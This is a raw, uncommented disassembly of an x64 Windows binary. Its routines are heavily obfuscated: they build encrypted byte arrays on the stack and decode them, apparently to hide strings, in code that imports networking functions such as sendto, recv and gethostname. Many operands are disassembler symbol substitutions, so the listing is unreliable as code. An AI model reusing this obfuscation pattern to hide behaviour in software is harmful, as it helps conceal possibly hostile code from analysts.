sub bl, 0x24
add bl, dl
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x70
add r9b, cl
mov byte [rbp + r11 + 0xad0], r9b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14011989e
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0xad0]
add rax, r10
add r11, rax
inc r11
jmp 0x140118f23
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x140118f20
lea rcx, [r11 + r12]
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x7c
jmp 0x140118f10
lea rdx, [rbp + 0x16a0ce0]
jmp 0x14011990b
lea rdx, [rbp + 0x6bc86c]
jmp 0x14011990b
lea rdx, [rbp + 0xad0]
lea rcx, [rbp + 0x340]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1390]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140119940
mov rdx, qword [rbx]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1390]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1390]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1390]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x7b0], 0x9b
mov byte [rbp + 0x7b1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7b2], 0x90
mov byte [rbp + 0x7b3], 0xdb
mov byte [rbp + 0x7b4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x7b5], Ordinal_217
mov byte [rbp + 0x7b6], 0x7b
mov byte [rbp + 0x7b7], Ordinal_217
mov byte [rbp + 0x7b8], 0x43
mov byte [rbp + 0x7b9], Ordinal_211
mov byte [rbp + 0x7ba], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7bb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7bc], 0x5e
mov byte [rbp + 0x7bd], Ordinal_211
mov byte [rbp + 0x7be], 0x5d
mov byte [rbp + 0x7bf], Ordinal_211
mov byte [rbp + 0x7c0], WSASetLastError
mov byte [rbp + 0x7c1], 0xc9
mov byte [rbp + 0x7c2], 0x7a
mov byte [rbp + 0x7c3], 0xcb
mov byte [rbp + 0x7c4], Ordinal_79
mov byte [rbp + 0x7c5], Ordinal_200
mov byte [rbp + 0x7c6], 0x64
mov byte [rbp + 0x7c7], Ordinal_200
mov byte [rbp + 0x7c8], 0x54
mov byte [rbp + 0x7c9], 0xc1
mov byte [rbp + 0x7ca], 0x5b
mov byte [rbp + 0x7cb], Ordinal_200
mov byte [rbp + 0x7cc], 0x9f
mov byte [rbp + 0x7cd], 0x3d
mov byte [rbp + 0x7ce], 0x9a
mov byte [rbp + 0x7cf], 0x3f
mov byte [rbp + 0x7d0], 0x84
mov byte [rbp + 0x7d1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x7d2], 0xa8
mov byte [rbp + 0x7d3], Ordinal_60
mov byte [rbp + 0x7d4], 0xad
mov byte [rbp + 0x7d5], gethostname
mov byte [rbp + 0x7d6], 0xb8
mov byte [rbp + 0x7d7], Ordinal_60
mov byte [rbp + 0x7d8], 0xad
mov byte [rbp + 0x7d9], Ordinal_50
mov byte [rbp + 0x7da], 0xa0
mov byte [rbp + 0x7db], gethostname
mov byte [rbp + 0x7dc], 0xbf
mov byte [rbp + 0x7dd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x7de], 0x78
mov byte [rbp + 0x7df], Ordinal_50
mov byte [rbp + 0x7e0], Ordinal_143
mov byte [rbp + 0x7e1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x7e2], 0xb3
mov byte [rbp + 0x7e3], Ordinal_46
mov byte [rbp + 0x7e4], 0xb2
mov byte [rbp + 0x7e5], Ordinal_41
mov byte [rbp + 0x7e6], Ordinal_41
mov byte [rbp + 0x7e7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x7f0], eax
mov word [rbp + 0x7f4], ax
mov byte [rbp + 0x7f6], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0x76773772b8399364
movabs r14, 0x9f015fb445766c2c
movabs r12, 0xd14df463755592d8
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x47
jae 0x14011a648
movzx r8d, byte [rbp + r9 + 0x7b0]
mov rdx, r8
cmp rdi, r9
ja 0x14011a63f
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140119b9b
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x140119bc8
je 0x14011a5c5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011a596
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011a574
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14011a526
cmp r10, r9
ja 0x14011a636
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140119bf9
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x140119c3a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14011a515
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011a4f2
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011a4a9
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14011a483
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14011a3f8
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x14011a077
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011a063
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14011a041
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14011a01b
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140119ffa
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140119fe6
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140119fc3
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140119faf
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14011a61d
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14011a5f7
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140119de8
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140119dc2
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140119da0
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140119f98
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x140119f11
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140119efd
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140119eda
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140119ec6
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x140119ea3
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140119e80
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140119e5c
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x140119e39
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140119e2b
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140119e0a
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140119c47
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x140119c47
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140119c3a
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140119bc8
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140119b6d
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x14011a1a5
lea rdx, [r9 + r12]
mov ecx, recv
jmp 0x14011a1c7
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14011a591
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14011a4c5
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x14011a5b3
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14011a5b6
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14011a122
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x14011a44d
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14011a0f3
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x14011a3a7
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14011a290
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x14011a39a
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14011a547
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14011a089
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x14011a407
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14011a5b6
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x14011a492
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14011a4c5
movabs rdx, 0xc116b11609a3a288
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011a591
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14011a56f
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x14011a535
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14011a0db
lea rdx, [r9 + rsi]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x14011a3cd
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14011a180
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140119f2e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011a10a
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011a5e0
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011a134
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14011a3f1
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011a15f
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14011a5b6
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14011a098
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14011a501
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011a1ac
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x14011a547
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011a1db
movabs rdx, 0x14451420c69e6c64
add rdx, r9
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011a56f
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011a207
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x14011a5b3
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14011a232
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14011a419
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14011a261
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011a44d
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140119f2e
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14011a5e0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011a2ad
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14011a0f3
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011a2ca
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14011a122
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14011a2e7
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14011a492
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011a312
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14011a4c7
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14011a33d
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14011a591
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14011a36c
movabs rdx, 0x59a339ea860a6c48
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011a56f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140119f66
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14011a1a5
mov byte [rbp + r9 + 0x7b0], bl
jmp 0x14011a5ef
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x7b0]
sub bl, al
sub bl, 0x60
jmp 0x140119e78
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x7b0]
add bl, r8b
add bl, dl
jmp 0x14011a419
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x7b0], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x7b0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14011a5e0
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011a5b3
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r8b
add cl, bl
mov byte [rbp + r9 + 0x7b0], cl
jmp 0x14011a5b3
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011a591
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14011a535
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x7b0], cl
inc r10
jmp 0x14011a591
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
dec r9
jmp 0x14011a5ef
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14011a5ef
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x7b0]
add rax, r10
add r9, rax
inc r9
jmp 0x140119b5a
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140119b57
lea rcx, [r9 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x140119b47
lea rdx, [rbp + 0x16f0ee0]
jmp 0x14011a64f
lea rdx, [rbp + 0x68a244]
jmp 0x14011a64f
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x360]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x14a0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011a684
mov rdx, qword [rbx]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x14a0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x14a0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x14a0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x6f0], 0xcb
mov byte [rbp + 0x6f1], Ordinal_143
mov byte [rbp + 0x6f2], 0xac
mov byte [rbp + 0x6f3], 0xf3
mov byte [rbp + 0x6f4], Ordinal_79
mov byte [rbp + 0x6f5], 0xf1
mov byte [rbp + 0x6f6], WSACleanup
mov byte [rbp + 0x6f7], 0xf7
mov byte [rbp + 0x6f8], 0x55
mov byte [rbp + 0x6f9], 0xf5
mov byte [rbp + 0x6fa], 0xa2
mov byte [rbp + 0x6fb], 0xfb
mov byte [rbp + 0x6fc], 0x66
mov byte [rbp + 0x6fd], 0xf9
mov byte [rbp + 0x6fe], 0x55
mov byte [rbp + 0x6ff], 0xff
mov byte [rbp + 0x700], 0x59
mov byte [rbp + 0x701], 0xfd
mov byte [rbp + 0x702], WSACleanup
mov byte [rbp + 0x703], 0xe3
mov byte [rbp + 0x704], 0x47
mov byte [rbp + 0x705], 0xe1
mov byte [rbp + 0x706], Ordinal_79
mov byte [rbp + 0x707], 0xe7
mov byte [rbp + 0x708], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x709], 0xe5
mov byte [rbp + 0x70a], 0x42
mov byte [rbp + 0x70b], 0xeb
mov byte [rbp + 0x70c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x70d], 0xe9
mov byte [rbp + 0x70e], 0x40
mov byte [rbp + 0x70f], 0xef
mov byte [rbp + 0x710], 0xb8
mov byte [rbp + 0x711], 0xed
mov byte [rbp + 0x712], 0x87
mov byte [rbp + 0x713], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x714], 0x44
mov byte [rbp + 0x715], Ordinal_211
mov byte [rbp + 0x716], 0x40
mov byte [rbp + 0x717], Ordinal_217
mov byte [rbp + 0x718], 0x81
mov byte [rbp + 0x719], Ordinal_217
mov byte [rbp + 0x71a], 0x7e
mov byte [rbp + 0x71b], 0xdb
mov byte [rbp + 0x71c], 0x7c
mov byte [rbp + 0x71d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + WSACleanupe], 0x71
mov byte [rbp + 0x71f], 0xdf
mov byte [rbp + 0x720], Ordinal_143
mov byte [rbp + 0x721], 0xdd
mov byte [rbp + 0x722], 0x64
mov byte [rbp + 0x723], Ordinal_200
mov byte [rbp + 0x724], WSAGetLastError
mov byte [rbp + 0x725], 0xc1
mov byte [rbp + 0x726], 0x54
mov byte [rbp + 0x727], Ordinal_200
mov byte [rbp + 0x728], Ordinal_200
mov byte [rbp + 0x729], Ordinal_200
xor eax, eax
mov dword [rbp + 0x72a], eax
mov word [rbp + 0x72e], ax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xda32561d88143dbe
movabs r14, 0xa7c2111ca25b983a
movabs r12, 0x7ca3d7263d200934
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x40
jae 0x14011b443
movzx r9d, byte [rbp + r10 + 0x6f0]
mov r8, r9
cmp rdi, r10
ja 0x14011b43a
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14011a8e0
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x32
jmp 0x14011a91a
je 0x14011b3b6
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011b35f
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011b308
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14011b2df
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14011b295
cmp r11, r10
ja 0x14011b431
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x14011a94d
movabs rdx, 0xe621106c29a91096
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
jmp 0x14011ab5f
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14011b277
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011b254
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011b224
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011b210
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x14011ae65
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14011ae44
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x14011ae30
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x14011ae0d
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14011adf9
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14011add6
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14011adb3
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x14011ad8f
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14011ad6c
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011ad46
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14011a98e
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x14011b414
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x14011b3ee
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x14011ab8c
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14011ab66
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x14011ab43
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x14011ad22
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x14011ad0e
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14011aced
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x14011acbf
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14011a98e
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14011acab
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14011ac8a
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14011ac69
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x14011ac43
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14011ac20
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14011abff
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x14011abdd
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x14011abc3
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x14011abaf
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14011a98e
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x14011a98e
movabs rdx, 0x7954c208e2fd862a
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14011a981
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011a91a
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14011a8b2
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x14011b2a4
lea rcx, [r10 + r12]
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
jmp 0x14011b2da
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x14011b300
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14011b1b3
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x14011b1e2
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011b242
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x14011b327
